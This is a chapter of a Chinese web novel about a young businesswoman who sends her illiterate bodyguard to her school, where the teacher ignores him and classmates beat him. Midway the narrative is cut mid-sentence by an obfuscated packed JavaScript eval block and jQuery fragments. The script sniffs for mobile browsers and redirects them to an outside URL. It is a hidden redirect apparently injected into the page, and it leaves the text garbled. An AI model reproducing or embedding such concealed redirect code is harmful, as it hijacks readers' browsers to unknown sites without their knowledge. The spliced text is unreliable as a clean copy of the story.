姚筝已经开始习惯贺斩在身边的存在。固执的少年像一道沉默的影子，却又无处不在，总能在她需要时恰到好处地出现，递上姚筝“我还没说，你已经懂”的物件。
有时她在望江楼的帐房里忙得昏天暗地，不知窗外是天明还是天黑，阴天还是雨天。等到终于做好新的项目书，指尖发酸，脖颈僵硬，她撑着桌面站起身，活动了一下酸痛的腰背。
几乎在她起身的同时，原本坐在门槛外的贺斩便循声站了起来，转身将一件早已从马车里取来的、带着皂角清香的薄外套递了进来。时机把握得精准无比。
姚筝自然地接过，披在身上，残留的疲惫似乎也被这带着体温预暖的衣物驱散了几分。她默不作声地向外走，贺斩便保持着一步的距离跟在身后。
坐上马车，车轮辘辘启动，姚筝才忽然想起，今日要去学堂，有一本讲怪志杂谈的书忘在了帐房的桌上，下午闲暇时还想翻看几页。
“贺斩，”她掀开车帘：“我忘了拿《子不语》，在帐房桌子上，你去取来。”
“是！”贺斩应声，立刻调转方向，快步跑回望江楼。
姚筝坐在车里等着，本以为很快，却等了颇久。春日的天说变就变，竟淅淅沥沥下起了雨，天沉的快了些。就在她微微蹙眉，猜测是否出了什么岔子时，车外传来了急促的脚步声——
车帘被猛地掀开，露出贺斩满头大汗、发梢还在滴水的脸。他跑得急，胸腔剧烈起伏，喘着气，小心翼翼地从怀里掏出一本书，正是那本《子不语》，书册被他用身体护得极好，只有封面边缘沾了几点雨渍。
他双手将书递过来，脸上带着几分不好意思的窘迫，喘着气解释：“小、小姐......整栋楼，只有李掌柜和帐房先生识字......正巧，今日李掌柜不在，帐房先生又在忙着核对新到的货单，实在抽不开身......”
他顿了顿，似乎在组织语言：“我......我只能请帐房先生，把书名写在纸上。我拿着纸，回到房间里，按着图上的笔画，一本一本对着找......”
他说到这里，语气里带上了大大的歉意和小小的试图向她讨好的谄笑：“不过还好！我想着，您要的书，肯定是近期看过的，不会收在箱底，就在您常坐的桌子附近找了找，果然很快就找到了！”
姚筝接过那本尚带着他体温与潮气的书，听着他断断续续、却努力清晰的解释，望着他因奔跑和焦急而泛红的脸颊、湿漉漉的头发，以及那双看着自己、带着完成任务的庆幸和一丝生怕没做好的忐忑的眼睛。
她心里不由自主地描绘出那样一幅画面：这个不识字的傻小子，捏着一张写着鬼画符的纸，在自己那堆满了书籍账本的书桌旁，弯着腰，拿起每一本书，笨拙又极其认真地将书脊上的字与纸上的笔画一个个对照......
“知道了。”姚筝坐回车厢默默收回了书，指尖拂过封面上那微湿的痕迹，淡淡吩咐道：“去明德学堂。”
贺斩见她收了书，没再追问，似乎也没有怪罪的意思，这才松了口气，连忙放下车帘，抹了一把脸上的水渍，重新坐回车辕，示意车夫出发。
马车再次启动，穿行在绵绵春雨中。车厢内，姚筝靠着车壁，忽然察觉往常下雨就回冰冷的木板不知道何时被贺斩放上一个垫子，靠起来舒服多了。她摩挲着手中的《子不语》，书页间仿佛还残留着那少年急促心跳带来的震动——
或许他以后，不止于此。
--
马车在明德学堂门口停稳。
姚筝下了车，贺斩则熟练地收起马凳，将其放回马车后厢。他习惯性地准备找个不惹眼的角落，如同前几次一样，安静地等待姚筝出来。毕竟，自上次他进了学堂后，整个学堂的人看见他相识见到了脏东西一般，禁止他踏入学堂半步，这里对他而言，是一道无形的界限。
只是这次，他刚转过身，却听到姚筝清冷的声音自身后响起：
“进来。”
贺斩脚步一顿，几乎以为自己听错了。他猛地回头，看向姚筝。她站在学堂门口的石阶上，侧着身，目光平静地看着他，不像是在开玩笑。
学堂里是贺斩鲜少听过的，从一间间敞开的教室里流淌出来，抑扬顿挫，字正腔圆的读书声。这声音对从未接触过文字的贺斩来说，却像是被念咒的孙悟空，一根根无形的针，扎得他耳朵嗡嗡作响，甚至觉得眼睛都有些发困、发涩。那些整齐划一的音节，是他完全无法理解的世界，与他熟悉的市井嘈杂、拳脚风声截然不同，带着一种令他不安的秩序和疏离。
姚筝似乎并未留意到他的不适，径直沿着回廊向前走。贺斩低着头，目光所及是干净的石板路，两旁是修剪整齐的花木，空气里弥漫着墨香和书香，偶尔有鸟鸣暂时降落，这一切都让他感到拘谨，手脚都不知道该往哪里放。
他们在一间传来整齐诵读声的教室外停下。姚筝没有进去，只是在门口唤了一声：“李老师。”
一位戴着圆框眼镜、穿着青色长衫的中年男子很快走了出来，正是学堂的负责人李老师。他看到姚筝，脸上露出笑容，但目光扫过姚筝身后的贺斩时，那笑容明显淡了几分，带着一丝不易察觉的审视和……不赞同。
“姚老板，您来了。”李老师客气道。
姚筝微微颔首，开门见山：“李老师，有两件事。第一，我观察了许久，觉得我们学堂目前只教授国文、算术和初级的中医知识，且这些也都是我们找的熟人帮忙，没有系统的学习，远远不够。如今外面变化快，孩子们需要了解更广阔的东西。我认为，应该增设化学和物理两门课程。”
李老师闻言，眉头微蹙，面露难色：“老板，我们现在只有两个教室，教的都是些您领养的孤儿，这些东西虽然不算什么，也足以他们将来在路边支个小摊帮忙写书信度日了。现在您说的这些学科，哪个不是官家子弟才能学的起的......莫说学生，便是我们这些教书匠，懂的也是凤毛麟角。这老师，去哪里寻呢？””
姚筝似乎早已料到他会这么说，语气平静却坚定：“找不到合适的老师，我来教。白天我去省城的师范学堂旁听学习，晚上回来，再把白天学到的，教给学堂里的学生。”
李老师愣住了，看着姚筝年轻却认真的脸庞，一时不知该如何回应。
姚筝没有等他回应，继续说出第二件事，目光转向了垂手立在身后的贺斩：“第二，我去学习之前，有件事实在放心不下，思来想去，只能求您了。”
“这个贺斩，脑子还行，就是有些鲁莽。我留在你这里，帮我教教他。”
这话一出，不仅李老师愣住了，连贺斩也猛地抬起头，难以置信地看向姚筝。
姚筝仿佛没有看到两人的惊愕，也并没有解释自己的用意，转身朝
贺斩的心脏狂跳起来，像揣了一只受惊的兔子。
学写字？
他？
这个连自己名字都不认识，在泥泞里打滚的人？
感情上他才在望江楼站稳脚跟不愿意开拓未知，理智上明白这是小姐因为自己不识字给予的压力。
姚筝对李老师点了点头，算是交代完毕，便转身离开了，留下心思各异的两人。
李老师看着姚筝离去的背影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709368|189253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，又看了看站在那里、身姿挺拔却难掩局促的贺斩，鼻腔里几不可闻地轻哼了一声。他显然误解了姚筝的那句教教他，认为姚筝还在记恨贺斩上次当众将她扛起，让她颜面扫地的事情，所以才将这粗野小子塞到学堂来，名为学习，实为磋磨，或是让他知难而退。
于是，在接下来的日子里，李老师对贺斩采取了一种彻底的无视政策。他正常地给学生们上课，声音洪亮，耐心细致，但目光从不曾落在教室后排那个角落里、坐得笔直的贺斩身上。他从不给贺斩发放纸笔，仿佛忘了有这个学生的存在；当贺斩鼓起勇气在课间时间想要像其他学生一般跟在讲台边，用充满渴望又笨拙的眼神望向他时，李老师要么视而不见，要么干脆转身走开，不给他任何提问的机会。
不看不听不回答。
贺斩像一块被遗忘在角落里的石头。他看着其他孩子跟着先生摇头晃脑地诵读，看着他们在纸上写下工整或歪斜的字迹，内心焦灼如火，却无处宣泄。
学字是好的，他没有放弃。没有纸笔，他就在学堂午休、放学后，偷偷溜到厨房，捡那些烧过还带着炭黑的木柴枝，挑拣出尖细的，在厨房后院无人留意的泥地上，一遍遍地、依葫芦画瓢地描摹着他白天强记下来的字形。他不知道自己写的是什么意思，只是机械地、固执地重复着那些笔画。
一天下来，学问没明白几个，手上脸上甚至衣服上，都沾满了乌黑的炭灰，显得狼狈不堪。这模样，自然引来了其他学生的注意和嘲笑。
窃窃私语和毫不掩饰的鄙夷目光，像冰冷的雨点打在贺斩身上。他紧握着拳头，指节泛白，却始终低着头，一声不吭。他记得姚筝的话，记得李掌柜的教诲，不能给小姐惹麻烦。
然而，忍耐并未换来安宁。几个年纪稍长、平日里就对姚筝颇为仰慕的学生，早已对贺斩这个曾冒犯过姚先生的粗人心怀不满。见他如今这副落魄样子，更是觉得找到了机会。
一天中午，贺斩照例在厨房后院练字，几个学生将他堵在了墙角。
“听说就是你，冒犯姚老板！兄弟们，给我揍他！”
拳头和脚踢如同雨点般落下。贺斩没有还手也没有解释，他只是蜷缩起身子，用手臂护住头脸，任由那些带着少年人怒意的击打落在他的背上、肩上。他不是打不过，他只是不能。在这里打架，无论对错，最后丢脸的，都会是安排他进来的姚筝。
直到那几人打累了，骂骂咧咧地离开，贺斩才慢慢地从地上爬起来。他拍了拍身上的尘土，抹去嘴角一丝腥甜，看着地上被踩得模糊的炭笔画，一种前所未有的疲惫和屈辱感席卷了他。
他不知道自己是怎么回到姚府的。身上的伤痛尚且可以忍受，但那种被整个世界排斥、努力却毫无进展、甚至连累小姐名声的无力感，像毒蛇一样啃噬着他的心。
他不知道该怎么和姚筝说。说李老师不教他？说同学们打他？说他学不会？这些听起来都像是无能的借口。他害怕看到姚筝眼中可能出现的失望，也不知道怎么诉说自己乱成一团的生活。
就算自己没有学会，小姐身边能人那么多，也不会有人在意自己。
贺斩第一次，选择了逃避。
他离开了姚府，却没有去任何地方，只是在街上漫无目的地游荡。起初是愧疚和不安，但很快，一种破罐子破摔的放纵感攫住了他。他找到了以前在街头混迹时认识的几个无所事事的人，和他们一起，在城墙根下，在夕阳染红天际的时刻，蹲在地上，学着他们的样子，笨拙地抽着劣质的烟卷，看着他们打那种他看不太懂的纸牌，听着他们粗俗的咧嘴笑骂发泄身体里空虚的情绪。